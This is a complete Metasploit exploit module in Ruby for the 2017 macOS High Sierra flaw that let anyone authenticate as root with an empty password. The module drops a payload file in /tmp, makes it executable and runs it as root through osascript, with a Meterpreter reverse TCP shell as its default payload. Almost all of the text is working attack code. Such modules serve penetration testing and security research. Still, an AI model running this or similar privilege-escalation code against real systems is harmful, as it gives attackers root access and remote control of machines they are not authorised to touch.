Mac OS X Root Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Mac OS X Root Privilege Escalation',  
'Description' => %q{  
This module exploits a serious flaw in MacOSX High Sierra.  
Any user can login with user "root", leaving an empty password.  
},  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],  
[ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],  
[ 'URL', 'https://forums.developer.apple.com/thread/79235' ],  
],  
'Platform' => 'osx',  
'Arch' => ARCH_X64,  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',  
},  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [  
[ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 29 2017'  
))  
end  
  
def exploit_cmd(root_payload)  
"osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"  
end  
  
def exploit  
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"  
print_status("Writing payload file as '#{payload_file}'")  
write_file(payload_file, payload.raw)  
register_file_for_cleanup(payload_file)  
output = cmd_exec("chmod +x #{payload_file}")  
print_status("Executing payload file as '#{payload_file}'")  
cmd_exec(exploit_cmd(payload_file))  
end  
end  
`